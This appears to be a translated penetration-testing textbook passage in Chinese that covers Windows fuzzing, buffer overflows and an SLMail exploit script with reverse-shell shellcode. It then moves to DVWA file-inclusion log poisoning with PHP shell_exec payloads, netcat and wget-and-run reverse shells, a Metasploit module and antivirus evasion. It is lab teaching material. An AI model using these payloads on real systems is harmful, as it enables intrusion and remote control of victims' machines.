- Immunity debugger:这是一个在 Windows 环境中运行并调试 Windows 应用程序的最著名的调试器之一。它可以从
www.immunityinc.com/products/debugger/下载,并且作为可执行文件直接运行:
- Olly debugger:可以直接从
www.ollydbg.de/下载 Olly 调试器。
Fuzzing Windows 应用程序
正如我们在上一章中讨论的那样,Fuzzing 是一种用于发现应用程序中的错误的技术,当应用程序遇到未预料到的输入时,会导致应用程序崩溃。
为了开始这个练习,让我们设置 VirtualBox,并使用 Windows 作为操作系统。在实验室的 Windows 7 机器上,让我们继续安装名为vulnserver的易受攻击的软件。如果你在 Google 上搜索vulnserver download,你会得到易受攻击的服务器的链接。
现在让我们在 VirtualBox 中加载vulnserver并运行它,如下所示:
现在让我们尝试将 Linux 主机连接到 Windows 机器,以连接到vul服务器。
我们可以用于 Fuzzing 的工具是 zzuf,它可以与基于 Linux 的系统一起使用。要检查工具是否可用,请运行以下命令:
让我们看看当我们输入一个长字符串时是否会崩溃。我们可以通过将aaaaaa字符串传递给代码来检查这一点,并且可以看到它不会崩溃。另一种方法是运行help命令,我们传递help命令并返回到终端,这样我们可以递归地在循环中执行它。如下所示:
应该注意,如果我们希望使用echo执行命令,我们可以将该命令放在反引号<command>中,该命令的输出将附加到echo打印字符串,例如:echo 'hello' python -c 'print "a"*5'``。
我们将使用这种技术来崩溃目标服务器,因为执行的命令的输出将附加到echo的输出,并且echo的输出通过 Netcat 作为输入发送到服务器。我们将执行以下代码,看看易受攻击的服务器是否会因为一个非常长的字符串而崩溃:
我们可以清楚地看到,在执行上述命令时,程序打印出UNKNOWN COMMAND。基本上,这里发生的是aaaaaa被分割成多行,并且输入被发送到 Netcat,如下所示:echo hello aaaaaaaaaaaaaaaaaaa | nc …。在下一行,剩下的aaaa被打印出来,这就引发了UNKNOWN COMMAND错误。
让我们尝试将打印输出重定向到一些文本文件,然后使用zzuf来实际崩溃或模糊目标易受攻击的软件。
Zzuf 是一个工具,它以大字符串作为输入,例如aaaaaaaaaaaaaaaaaaaaaaaaa。它在字符串的各个位置随机放置特殊字符,并产生输出,例如?aaaa@??aaaaaaaaaaa$$。我们可以指定百分比来修改输入的多少,例如:
让我们使用生成的文件fuzz.txt和 zzuf,看看结果如何:
我们可以按照以下方式指定百分比:
请注意,vul服务器的HELP命令不容易受攻击,而是GMON ./:/命令。我们不希望 zzuf 工具更改命令的GMON ./:/部分,因此我们使用zzuf指定-b(字节选项)告诉它跳过初始的 12 个字节,如下面的屏幕截图所示:
让我们尝试将此文件内容作为输入提供给vul服务器,看看会发生什么:
可以看到,zzuf 工具生成的输出使vul服务器崩溃了。请注意,zzuf 工具生成的特殊字符是常用于模糊测试的众所周知的攻击有效载荷字符:
我们现在将看到如何使用脚本来尝试使vul服务器崩溃。我们还将在 Windows 机器上使用 Olly 调试器,以查看代码在哪里中断。
以管理员身份启动 Olly 调试器,如下所示:
我们现在将使用 Olly 调试器附加正在运行的服务器。转到文件|附加。这将打开所有正在运行的进程。我们必须转到 vulnserver 并将其附加。一旦单击附加,我们会得到以下内容:
现在,让我们回到 Linux 机器并启动我们创建的脚本:
当我们执行python fuzz.py命令时,Python 控制台上没有任何输出。
然而,在 Olly 调试器中附加的进程中,右下角显示一个黄色消息,上面写着暂停,这意味着附加的进程/服务器的执行已暂停:
让我们点击播放按钮。这会执行一些代码,并在另一个断点处暂停:
应该注意的是,在屏幕底部写着Access violation,写入位置为017Dxxxx。这意味着遇到了异常,程序崩溃了:
Windows 和汇编
在本节中,我们将学习汇编语言。我们的目标是将 C 代码转换为汇编语言,并查看发生了什么。
以下是我们将加载和使用的示例 C 代码,以便学习汇编语言:
我们将在 immunity 调试器中运行这段代码,将其编译为名为Bufferoverflow.exe的文件。让我们首先用 immunity 调试器打开它:
请注意,右上角有一个寄存器部分。第一个寄存器EAX是累加器。在计算机的 CPU 中,累加器是存储中间算术和逻辑结果的寄存器。在左上角,我们有实际的汇编代码,而在左下角,我们得到程序使用的内存转储。右下角包含我们正在检查的程序的堆栈区域。
如果我们滚动到位置00401290,我们可以看到PUSH命令。我们还可以看到 ASCII 字符串Functionfunction,然后是整数十六进制值。这是逆序的,因为这里的处理器是使用小端记法的英特尔处理器,即低序字节先出现:
前面的屏幕截图显示了我们的functionFunction函数的堆栈/代码部分,该部分的每个语句代表我们原始代码的一个语句。
如果我们再往下滚动一点,我们将看到实际的主方法和从那里进行的函数调用。如下所示。在突出显示的区域是对实际functionFunction函数的函数调用:
主函数返回0,这正如汇编级语言所示,我们将0移动到 EAX 寄存器中。同样,在上一张截图中,我们将值1移动到 EAX 中。
现在让我们转到调试并点击参数。从这里,我们将向汇编代码提供命令行参数,以便我们可以在调试器中运行而不会出现任何错误:
然后,我们需要设置某些断点,以更彻底地了解调试器、程序控制和顺序流。我们将在主方法的开头设置一个断点,如下所示:
断点在以下截图中突出显示:
请注意,一旦我们运行应用程序,当它遇到这一行时,代码实际上会停止。这就是所谓的断点:
在屏幕右下方,我们看到的区域是堆栈区域。正如我们所知,每个方法都有一个专用的执行区域,其中存储所有本地参数并执行代码。这就是我们定义为堆栈的区域。堆栈的第一条语句指向程序控制在成功执行整个方法块后应该返回的位置。请注意,屏幕顶部有四个选项,分别是跨过、跨入、跟踪进入和跟踪覆盖。随着我们的进展,我们将探索这些选项。让我们继续调用 step into,并看看堆栈和调试器会发生什么:
调用 step into 函数实际上将控制权转移到调试器上的下一行。在这种情况下,不同的值被添加到程序变量中。请注意,以下一行将调用functionFunction函数:
请注意,从主函数到functionFunction函数的函数调用将发生在主函数的004012EA内存地址处。当调用函数时,分配给functionFunction的堆栈必须包含返回地址,以便一旦完成执行,它就知道自己应该返回到哪里:
可以看到右侧的 EIP 寄存器保存着00401EA地址。请注意,在右下方,语句本身的地址是堆栈上的0060FD0。让我们点击下一步,看看会发生什么:
可以看到,一旦调用函数,它的堆栈就会更新,并且指示代码在执行后应该返回到004012EF地址。004012EF地址是主函数functionFunction函数的下一条指令地址。由于 IP 包含下一条要执行的指令的地址,它现在包含00401290地址,这是Functionfunction函数的起始地址。一旦完成执行,堆栈顶部的内容将被弹出(004012EF),IP 将被更新为此地址,以便程序执行从上次停止的地方恢复。
点击两次下一步后,我们看到在我们的functionFunction方法中将整数值分配给变量的第一条语句将被执行。最后,当我们达到functionFunction方法的返回语句或结束时,我们将看到堆栈顶部将包含下面屏幕截图中显示的返回地址:
我们可以点击下一步直到程序退出主方法。这是程序在正常情况下执行的方式,我们称之为行为执行。在下一节中,我们将看到如何使程序行为异常。
让我们看看当我们通过提供超出预期长度的参数来溢出缓冲区时,汇编语言的代码级别会发生什么。我们将在以下代码中添加超过九个字符:
现在我们将保持在主方法中的断点,就像之前一样。当我们运行代码时,我们将到达断点,如下所示:
在下一行中,我们将把值112233复制到局部变量中。然后我们将调用Functionfunction函数,在这里bufferoverflow实际发生,当我们对大小为10的本地缓冲区执行strcpy时:
如前面的屏幕截图所示,我们传递的字符串被放置在寄存器中,并将传递给functionFunction。突出显示行后的行是实际的函数调用:
可以看到在突出显示的行中,正在执行的操作是strcpy(Localstring2,param),这意味着 EAX 寄存器的值将被移动到位置SS:[EBP +8]。一旦执行前面的命令,我们将注意到我们给出的大值将加载到堆栈中。我们可以在下面的屏幕截图的右下角看到这一点:
现在,将执行的下一行将是当前突出显示的strcpy函数之后的strcpy函数。我们可以在右下角看到strcpy函数的堆栈:
在strcpy函数中有一些缓冲区和内存位置。当我们将值写入长度为 10 的缓冲区时,缓冲区溢出,剩余的值会溢出并写入堆栈的其他内存位置。换句话说,堆栈中的其他内存位置将被溢出的内容覆盖。在这种情况下,一旦执行完成,包含堆栈返回地址的内存位置将被覆盖,因此代码将以异常结束。这实际上是发生在幕后的情况,如下面的屏幕截图所示。在屏幕截图的底部,我们可以看到访问冲突异常:
在 Windows 中利用缓冲区溢出
在 SLMail 5.5.0 邮件服务器软件中存在已知的缓冲区溢出漏洞。让我们从以下网址下载应用程序(slmail.software.informer.com/5.5/)并通过双击`… Windows 中安装它。安装完成后,在 Windows 7 虚拟机中运行它,如下所示:
现在,让我们将我们运行的程序附加到一个 immunity 调试器,并使用一个简单的 Python 模糊器来使程序崩溃,如下所示:
以下屏幕截图显示了一旦我们点击附加后加载的代码:
让我们使用 Python 编写的简单模糊器来尝试破坏这段代码:
现在,让我们运行代码,看看它是如何破坏电子邮件应用程序的,以及在崩溃时缓冲区的值是多少:
可以看到,在第2700和2900字节之间发生了访问冲突异常。在这一点上,EIP 指令寄存器的值被传递的字符串A覆盖,其十六进制值为41414141。
为了找出2900字节内的有效负载的确切位置,我们将使用 Metasploit 的generate.rb模块,如下所示:
让我们将这个唯一生成的字符串放在一段 Python 代码中,以便为我们重新运行利用程序,以便我们可以看到崩溃时 EIP 内的唯一值:
让我们重新启动 Windows 中的服务,并再次将其附加到调试器上。最后,我们将运行我们的 Python 代码来利用它,如下所示:
可以清楚地看到,在崩溃时,EIP 寄存器内的值为39694438。这将是告诉我们有效负载偏移量的地址,可以按照这里所示进行计算:
可以看到,导致崩溃的确切偏移量是2606。在崩溃时,所有传递的值都存储在 ESP 寄存器中,这使得 ESP 成为保存我们有效负载的潜在候选者。如果我们发送多达 2600 字节的有效负载,然后尝试在 EIP 中注入一条指令,使其跳转到 ESP,那么将执行有效负载。有两种方法可以做到这一点。我们知道 EIP 保存着要执行的下一条指令的地址,正如所见,崩溃时 ESP 寄存器的地址为01C8A128。直觉上会想到的是简单地在 2600 字节之后放置这个地址,但由于地址空间布局随机化(ASLR),这是一种用于操作系统的内存保护过程,通过使系统可执行文件加载到内存中的位置随机化,防范缓冲区溢出攻击,这种直接的技术将不起作用。
相反,让我们寻找一个内存地址,其中将有一个指令,比如JMP ESP。由于这个位置在堆栈之外,每当程序崩溃时,它都不会受到 ASLR 的影响。我们将使用 mona 脚本,它作为 immunity 调试器的 Python 模块随附,并用于在整个 DLL 进程中搜索任何指令,这在我们的情况下将是jmp esp的十六进制等价物。mona 脚本可以从github.com/corelan/mona下载,并可以直接放置在 Windows 的以下路径中:C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands。
让我们使用 Metasploit 的 Ruby 脚本计算jmp esp的十六进制等价物,如下所示:
因此,我们将在 immunity 调试器和 mona 脚本中搜索\xff\xe4,以找到jmp位置,如下所示:
我们得到了很多命中,但让我们选择第一个,即0x5f4a358f。下一步将是生成利用代码,在我们的机器上给我们一个反向 shell,并将该利用代码放在一个自定义的 Python 脚本中,以将有效负载发送到服务器。应当注意,在生成利用代码时,我们将对其进行编码并转义某些不良字符,以确保其正常工作:
有了前面生成的有效负载,让我们创建一个 Python 脚本来引发利用。我们将使用之前发现的jmp esp的位置,通过mona脚本。还应该注意,由于有效负载已编码,将用于解码的几个字节,还将用于填充的几个字节:
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
buf = ""
buf += "\xd9\xc8\xbd\xad\x9f\x5d\x89\xd9\x74\x24\xf4\x5a\x33"
buf += "\xc9\xb1\x52\x31\x6a\x17\x03\x6a\x17\x83\x6f\x9b\xbf"
buf += "\x7c\x93\x4c\xbd\x7f\x6b\x8d\xa2\xf6\x8e\xbc\xe2\x6d"
buf += "\xdb\xef\xd2\xe6\x89\x03\x98\xab\x39\x97\xec\x63\x4e"
buf += "\x10\x5a\x52\x61\xa1\xf7\xa6\xe0\x21\x0a\xfb\xc2\x18"
buf += "\xc5\x0e\x03\x5c\x38\xe2\x51\x35\x36\x51\x45\x32\x02"
buf += "\x6a\xee\x08\x82\xea\x13\xd8\xa5\xdb\x82\x52\xfc\xfb"
buf += "\x25\xb6\x74\xb2\x3d\xdb\xb1\x0c\xb6\x2f\x4d\x8f\x1e"
buf += "\x7e\xae\x3c\x5f\x4e\x5d\x3c\x98\x69\xbe\x4b\xd0\x89"
buf += "\x43\x4c\x27\xf3\x9f\xd9\xb3\x53\x6b\x79\x1f\x65\xb8"
buf += "\x1c\xd4\x69\x75\x6a\xb2\x6d\x88\xbf\xc9\x8a\x01\x3e"
buf += "\x1d\x1b\x51\x65\xb9\x47\x01\x04\x98\x2d\xe4\x39\xfa"
buf += "\x8d\x59\x9c\x71\x23\x8d\xad\xd8\x2c\x62\x9c\xe2\xac"
buf += "\xec\x97\x91\x9e\xb3\x03\x3d\x93\x3c\x8a\xba\xd4\x16"
buf += "\x6a\x54\x2b\x99\x8b\x7d\xe8\xcd\xdb\x15\xd9\x6d\xb0"
buf += "\xe5\xe6\xbb\x17\xb5\x48\x14\xd8\x65\x29\xc4\xb0\x6f"
buf += "\xa6\x3b\xa0\x90\x6c\x54\x4b\x6b\xe7\x9b\x24\x89\x67"
buf += "\x73\x37\x6d\x99\xd8\xbe\x8b\xf3\xf0\x96\x04\x6c\x68"
buf += "\xb3\xde\x0d\x75\x69\x9b\x0e\xfd\x9e\x5c\xc0\xf6\xeb"
buf += "\x4e\xb5\xf6\xa1\x2c\x10\x08\x1c\x58\xfe\x9b\xfb\x98"
buf += "\x89\x87\x53\xcf\xde\x76\xaa\x85\xf2\x21\x04\xbb\x0e"
buf += "\xb7\x6f\x7f\xd5\x04\x71\x7e\x98\x31\x55\x90\x64\xb9"
buf += "\xd1\xc4\x38\xec\x8f\xb2\xfe\x46\x7e\x6c\xa9\x35\x28"
buf += "\xf8\x2c\x76\xeb\x7e\x31\x53\x9d\x9e\x80\x0a\xd8\xa1"
buf += "\x2d\xdb\xec\xda\x53\x7b\x12\x31\xd0\x8b\x59\x1b\x71"
buf += "\x04\x04\xce\xc3\x49\xb7\x25\x07\x74\x34\xcf\xf8\x83"
buf += "\x24\xba\xfd\xc8\xe2\x57\x8c\x41\x87\x57\x23\x61\x82"
buffer='A'*2606 + '\x8f\x35\x4a\x5f' + "\x90"*8 +buf
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.158',110))
data=s.recv(1024)
s.send('USER root \r\n')
data=s.recv(1024)
print str(data)
s.send('PASS ' + buffer + '\r\n')
#data=s.recv(1024)
#print str(data)
print "done"
#s.send('QUIT\r\n')
s.close()
现在,当我们将服务或进程的运行实例附加到我们的调试器并执行我们创建的脚本时,我们就可以从具有bufferoverflow的受害者机器获得反向 shell。如图所示:
这就是我们如何利用 Windows 中的缓冲区溢出漏洞。
如果我们继续在本地 Windows 环境中编译程序(在上一章的堆缓冲区溢出部分中给出),并使用一个长参数运行它,我们就可以利用 Windows 中的堆缓冲区溢出。
总结
我们在这里展示了与上一章相同的步骤,但在 Windows 环境中。 Windows 和 Linux 环境之间的概念基本相同,但堆栈和寄存器的实现可能会有所不同。因此,重要的是要熟练掌握两种环境中的利用。在下一章中,我们将开发 Python 和 Ruby 中的利用以扩展 Metasploit 框架的功能。
问题
-
我们如何自动化利用 Windows 中的缓冲区溢出漏洞的过程?
-
我们可以采取什么措施来避免操作系统施加的高级保护,例如在 Windows 中禁用堆栈上的代码执行?
-
为什么 Windows 和 Red Hat 中的寄存器不同?
进一步阅读
-
堆栈缓冲区溢出 SLmail:
www.exploit-db.com/exploits/638/
第十三章:漏洞开发
在本章中,我们将探讨利用程序开发。我们将了解如何使用 Python 开发自定义利用程序。虽然我们的主要重点将是在 Python 中开发利用程序,但我们还将看到如何使用 Ruby 开发利用程序,以扩展 Metasploit 框架的功能。
利用程序只是一段代码,编写以利用漏洞,以便可以在不同环境中重用相同的代码。编写利用程序的目标是确保代码稳定,并且将给予攻击者他们所需的控制。应该注意,利用程序是针对特定类型的漏洞开发的。首先了解漏洞和利用它所需的手动步骤非常重要。一旦我们对此有清晰的理解,我们就可以继续自动化整个过程并开发一个利用程序。
本章将涵盖以下主题:
-
在基于 Web 的漏洞上编写脚本利用。
-
开发一个 Metasploit 模块来利用网络服务。
-
编码 shell 代码以避免检测。
在基于 Web 的漏洞上编写脚本利用
在本节中,我们将使用Damn Vulnerable Web Application (DVWA)的一个示例。我们将为本地和远程文件包含编写一个利用程序,并确保通过执行利用程序获得反向 shell。正如我们所知,DVWA 有许多漏洞,其中包括本地文件包含 (LFI)和远程文件包含 (RFI)。
本地文件包含是一种通常在 PHP 应用程序中发现的漏洞类别,是由于对include()和require()函数的不正确使用而引入的。include()函数用于在当前 PHP 文件中包含一个 PHP 模块,从它被调用的地方。有时开发人员会从 Web 应用程序中以输入参数的形式获取要包含的文件的名称,这可能会被攻击者滥用。攻击者可以调整输入参数,并读取系统文件,这些文件可能是他们无法访问的,比如/etc/passwd。相同的漏洞可以被升级以从服务器获取反向 shell。如果攻击者能够读取服务器的日志文件,通常位于/var/log/apache2/access.log路径下,并且攻击者发送一个伪造的GET请求,比如http://myvulsite.com?id=<?php shell_exec($_GET['cmd']) ?>,应用程序通常会返回一个错误消息,说请求的 URL/资源不存在。然而,这将被记录在服务器的access.log文件中。借助 LFI,如果攻击者在随后的请求中尝试加载访问日志文件,比如http://myvulsite.com/admin.php?page=/var/log/appache2/access.log?cmd=ifconfig%00,它会加载日志文件,其中包含一个 PHP 代码片段。这将由 PHP 服务器执行。由于攻击者正在指定 CMD 参数,这将在 shell 中执行,导致在服务器上执行意外的代码。RFI 漏洞更容易执行。让我们通过启动 DVWA 应用程序并尝试手动利用 LFI 漏洞来将我们讨论过的内容付诸实践。
应该注意,我们已经看到如何在第十二章中使用 Python 编写网络服务的利用程序,逆向工程 Windows 应用程序,在那里我们编写了一个自定义的 Python 利用程序来利用 SLmail 服务。请参考该章节,以刷新您对针对缓冲区溢出的基于服务的利用程序开发的知识。
手动执行 LFI 利用
让我们开始启动 Apache 服务器:
service apache2 start
让我们尝试手动浏览应用程序,看看漏洞在哪里:
前面屏幕中浏览的 URL 是http://192.168.1.102/dvwa/vulnerabilities/fi/?page=include.php。可以看到,请求的 URL 有一个 page 参数,它将要包含的页面作为参数。如果我们查看应用程序的源代码,我们可以看到include()函数的实现如下:
前面的截图将文件变量初始化为在GET请求中获得的参数,没有任何过滤。
下一个截图使用与include()函数下相同的文件变量如下:
如上所示,include()函数包含$file变量的任何值。让我们尝试利用这一点,通过访问以下 URL 读取我们可能无法访问的任何系统文件,比如/etc/passwd:http://192.168.1.102/dvwa/vulnerabilities/fi/?page=/etc/passwd
现在让我们进一步升级攻击,尝试从 LFI 漏洞中获得 shell。让我们使用Netcat来为我们毒害日志文件,以便从服务器获得 shell。
应该注意的是,我们不应该尝试通过 URL 毒害日志文件。这样做将使我们的有效负载编码为 URL 编码,使攻击无效。
让我们首先尝试查看 Apache 日志文件的内容,并在我们的浏览器窗口中使用以下 URL 加载它:http://192.168.1.102/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log:
如前面的截图所示,日志文件的内容显示在页面上。现在让我们继续尝试使用netcat毒害日志文件。首先,按以下方式启动 Netcat:nc 192.168.1.102 80。一旦启动,向服务器发送以下命令:http://192.168.1.102/dvwa?id=<?php echo shell_exec($_GET['cmd']);?>
中了!我们现在毒害了我们的日志文件。现在让我们尝试发出诸如ifconfig之类的命令,看看是否会被执行。我们将浏览的 URL 如下:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=ifconfig。
注意cmd参数。我们发送ifconfig命令,该命令将由以下代码行调用:
<?php echo shell_exec($_GET['cmd']);?>,翻译为<?php echo shell_exec(ifconfig)?>
在下面的截图中突出显示的区域显示我们的命令已成功执行。
现在让我们尝试从相同的cmd参数中获得一个反向 shell。我们将使用netcat来获得反向 shell。如果服务器上没有安装 netcat,我们也可以使用 Python 来获得 shell。让我们看看两者的效果。
使用 Netcat 进行反向 shell
在这种情况下,URL 和命令将如下:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=nc -e /bin/sh 192.168.1.102 4444。
我们还需要设置一个netcat监听器,它将在端口4444上监听传入的连接。让我们在另一个终端上执行nc -nlvp 4444命令。现在,浏览 URL,看看我们是否得到了 shell:
浏览此 URL 后,让我们尝试查看我们生成的netcat监听器,看看我们是否获得了 shell:
可以验证,我们得到了一个低权限的 shell,www-data。
使用 Python 进行反向 shell
现在,假设服务器上没有安装 Netcat。我们将使用 Python 来获得 shell。由于底层服务器是基于 Linux 的,默认情况下会安装 Python。因此,我们将修改我们的利用命令如下:
http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=wget http://192.168.1.102/exp.py -O /tmp/exp.py
可以看到,我们将创建一个用 Python 编写的漏洞利用文件,并在攻击者机器上提供服务。由于在当前示例中,攻击者和受害者都在同一台机器上,URL 是http://192.168.1.102。漏洞利用文件的内容如下所示:
下载漏洞利用文件将完成我们利用过程的第一步。第二步将是执行它并获取回监听器。这可以通过访问以下 URL 来执行:http://192.168.1.102/dvwa/vulnerabilities/fi/?page=/var/log/apache2/access.log&cmd=python /tmp/exp.py
让我们看看这个实际操作:
-
在
/tmp文件夹中下载并保存 Python 漏洞利用程序:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=wget http://192.168.1.102/exp.py -O /tmp/exp.py -
验证是否已成功保存:
-
在
444上启动netcat监听器:nc -nlvp 4444。 -
启动调用
exp.py脚本连接回攻击者主机的命令:http://192.168.1.102/dvwa/vulnerabilities/fi/page=/var/log/apache2/access.log&cmd=python /tmp/exp.py。
让我们看看我们的监听器是否已经获得了 shell:
从前面的截图中可以看到,我们已成功获得了 shell。
漏洞利用开发(LFI + RFI)
到目前为止,我们已经学习了如何手动利用 LFI 漏洞。让我们继续尝试开发一个通用的漏洞利用程序,它将利用 LFI 漏洞以及其他相同的应用程序。在本节中,我们将看到如何编写一个了不起的漏洞利用程序,它将利用 DVWA 应用程序中的 RFI 和 LFI 漏洞。尽管这个漏洞利用程序是为 DVWA 应用程序编写的,但我尝试使它通用化。通过一些调整,我们也可以尝试将其用于其他可能存在 LFI 和 RFI 漏洞的应用程序。
让我们安装前提条件:
pip install BeautifulSoup
pip install bs4
pip install selenium
sudo apt-get install libfontconfig
apt-get install npm
npm install ghostdriver
wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
tar xvjf phantomjs-2.1.1-linux-x86_64.tar.bz2
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/bin/
sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/
安装phantomjs后,我们需要在控制台上执行以下命令:unset QT_QPA_PLATFORM。这是用于处理phantomjs在 Ubuntu 16.04 版本上使用时抛出的错误,错误信息如下:Message: Service phantomjs unexpectedly exited. Status code was: -6。
LFI/RFI 漏洞利用代码
让我们看看下面的代码,它将利用 DVWA 中的 LFI/RFI 漏洞:
在下面的代码片段中,第 65 至 74 行检查要测试的应用程序是否需要身份验证才能利用漏洞:
如果需要身份验证,则从用户提供的 cookie 值设置在 Selenium Python 浏览器/驱动程序中,并使用 cookie 数据调用 URL 以获得有效会话:
第 90 至 105 行用于控制 LFI 漏洞的工作流程。这一部分有一系列我们手动执行的步骤。在第 91 行,我们准备了一个恶意 URL,将毒害日志文件并在access.log文件中放置一个 PHP 代码片段。在第 93 行,我们将该恶意 URL 放入一个名为exp.txt的文本文件中,并要求 Netcat 从该文件中获取输入。请记住,我们在之前毒害access.log文件时使用了netcat;这里将重复相同的操作。在第 97 行,我们要求netcat连接到受害者服务器的80端口,从exp.txt文件中获取输入,并将该输入发送到受害者服务器,以便毒害日志。我们通过创建一个 bash 脚本exp.sh来实现这一点。在第 99 行,我们调用这个 bash 脚本,它将调用netcat并导致netcat从evil.txt文件中获取输入,从而毒害日志。在第 103 行,我们设置了漏洞利用 URL,我们将让我们模拟的 selenium 浏览器访问,以便给我们一个反向 shell:
在第 115 行,我们正在调用一个进程,该进程将使浏览器使用start()方法向一个带有有效载荷的易受攻击页面发出请求,在第 116 行之下。但在实际访问利用之前,我们需要设置一个 netcat 监听器。第 119 行设置了一个 Netcat 监听器,并且我们在send_exp()方法的定义中引入了五秒的时间延迟,给 netcat 启动的时间。一旦启动,有效载荷将通过send_exp()方法在第 61 行之下传递。如果一切顺利,我们的监听器将获得 shell。
107-113 行处理漏洞的 RFI 部分。要利用 RFI,我们需要在攻击者机器上创建一个名为evil.txt的恶意文件,它将传递 PHP 有效载荷。创建后,我们需要将它放在/var/www/html/evil.txt中。然后,我们需要启动 Apache 服务器并将有效载荷传递 URL 更新为 RFI 的地址。最后,使用send_exp()方法,我们传递我们的有效载荷,然后启动 netcat 监听器。
上述代码适用于 LFI 和 RFI 漏洞。给定的代码按以下顺序获取用户参数:
python LFI_RFI.py <target ip> <target Base/Login URL> <target Vulnetable URL> <Target Vul parameter> <Login required (1/0)> <Login cookies> <Attacker IP> <Attacker Lister PORT> <Add params required (1/0)> <add_param_name1=add_param_value1,add_param_name2=add_param_value2> | <LFI (0/1)>
执行 LFI 利用
要执行和利用 LFI 漏洞,我们将向脚本传递以下参数:
python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1.102/dvwa/vulnerabilities/fi/ page 1 "security=low;PHPSESSID=5c6uk2gvq4q9ri9pkmprbvt6u2" 192.168.1.102 4444
上述命令将产生如下截图所示的输出:
如图所示,我们成功获得了www-data的低权限 shell。
执行 RFI 利用
执行和利用 RFI 漏洞,我们将向脚本传递以下参数:
python LFI_RFI.py 192.168.1.102 http://192.168.1.102/dvwa/login.php http://192.168.1.102/dvwa/vulnerabilities/fi/ page 1 "security=low;PHPSESSID=5c6uk2gvq4q9ri9pkmprbvt6u2" 192.168.1.102 4444 0 0
上述命令将产生如下截图所示的输出:
如我们所见,我们成功获得了 RFI 漏洞的 shell。
开发一个 Metasploit 模块来利用网络服务
在本节中,我们将看到如何制作一个 Metasploit 利用模块来利用给定的漏洞。在这种情况下,我们将专注于一个名为 Crossfire 的游戏应用程序的缓冲区溢出漏洞。为了编写自定义的 Metasploit 模块,我们需要将它们放在特定的目录中,因为当我们在 Metasploit 中使用use exploit /....命令时,默认情况下,框架会在默认的 Metasploit 利用目录中查找可用的模块。如果它在那里找不到给定的利用,那么它会在扩展模块目录中搜索,该目录位于以下路径:/root/msf4/modules/exploits。让我们创建路径和一个自定义目录。我们将打开我们的 Kali 虚拟机并运行以下命令:
mkdir -p ~/.msf4/modules/exploits/custom/cf
cd ~/.msf4/modules/exploits/custom/cf
touch custom_cf.rb
上述命令将在/root/.msf4/modules/exploits/custom/cf 目录中创建一个名为custom_cf的文件。
现在,让我们编辑custom_cf.rb文件,并将以下内容放入其中:
上述提到的代码片段非常简单。它试图利用 Crossfire 应用程序中存在的缓冲区溢出漏洞。Metasploit 为其利用模块定义了一个模板,如果我们要在 Metasploit 中编写模块,我们需要根据我们的需求调整模板。上述模板是用于缓冲区溢出类漏洞的模板。
我们在之前的章节中详细研究了缓冲区溢出。根据我们所学到的,我们可以说要利用缓冲区溢出漏洞,攻击者必须了解以下内容:
-
缓冲区空间可以容纳的有效载荷大小。
-
堆栈的返回地址,必须被注入漏洞利用代码的缓冲区地址所覆盖。实际的返回地址会有所不同,但可以计算出覆盖返回地址的有效负载偏移量。一旦我们有了偏移量,我们就可以放置我们能够注入漏洞利用程序的内存位置的地址。
-
应用程序识别的一组字符,可能会妨碍我们的漏洞利用程序的执行。
-
所需的填充量。
-
架构和操作系统的详细信息。
攻击者为了获得上述项目,会执行一系列步骤,包括模糊测试、偏移计算、返回地址检查、坏字符检查等。如果已知上述值,攻击者的下一步通常是生成编码的有效负载并将其发送到服务端并获得一个反向 shell。如果上述值未知,Metasploit 提供了一个缓冲区溢出模板,可以直接插入并使用这些值,而无需我们从头开始编写自定义代码。
讨论中的应用程序 Crossfire 已经在离线状态下进行了模糊测试和调试。根据模糊测试结果,获得的返回地址或 EIP 的值为0X0807b918。换句话说,这意味着如果我们溢出缓冲区,漏洞利用代码将被放置在以下地址的位置:0X0807b918。此外,如上所示,指定的填充量为 300(空格)。我们还指定了坏字符:\x00\x0a\x0d\x20。除此之外,我们还指定了平台为 Linux。
请注意:坏字符是程序字符集无法识别的字符,因此它可能使程序以意外的方式运行。为了找出正在测试的底层软件的常见坏字符,最成功的方法是反复试验。我通常用来找出常见坏字符的方法是将所有唯一字符发送到应用程序,然后使用调试器,检查寄存器级别发生了哪些字符变化。发生变化的字符可以进行编码和避免。
因此,在第 43 行,当我们调用payload.invoke命令时,Metasploit 内部创建一个反向 Meterpreter TCP 有效负载并对其进行编码,返回一个端口为4444的 shell。让我们尝试看看这个过程:
- 首先,让我们安装并启动 Crossfire 应用程序。可以在以下网址找到易受攻击版本的 Crossfire 应用程序
osdn.net/projects/sfnet_crossfire/downloads/crossfire-server/1.9.0/crossfire-1.9.0.tar.gz/。下载并使用以下命令解压缩:
tar zxpf crossfire.tar.gz
- 然后,按以下方式启动易受攻击的服务器:
现在继续启动 Metasploit。导出我们创建的模块,并尝试利用易受攻击的服务器:
正如我们所看到的,我们开发的漏洞利用程序完美地运行,并为我们提供了受害者机器的反向 shell,而在我们的情况下,这台机器与我们正在使用的机器相同。
对 shell 代码进行编码以避免检测
现在假设我们已经在我们正在测试的底层服务中发现了一个漏洞。然而,在这种情况下,该服务器已安装了杀毒软件。任何优秀的杀毒软件都将包含所有知名漏洞的签名,通常几乎所有 Metasploit 漏洞利用模块的签名都会存在。因此,我们必须使用一种可以规避杀毒软件检测的方法。这意味着我们需要使用某种编码或其他方法来传递我们的有效负载,以避免杀毒软件的检测。我们可以通过三种不同的方式来做到这一点:
-
最成功的方法是使用您选择的语言(Python/C/C++/Java)开发自定义利用程序。这种方法很有用,因为自定义利用程序不会有任何 AV 签名,通常会逃避 AV 保护。或者,我们也可以下载一个公共利用程序,并进行大量修改以改变其产生的签名。我们在 Web 利用案例中开发的利用程序都是从头开始编写的,理论上不应该被任何 AV 检测到。
-
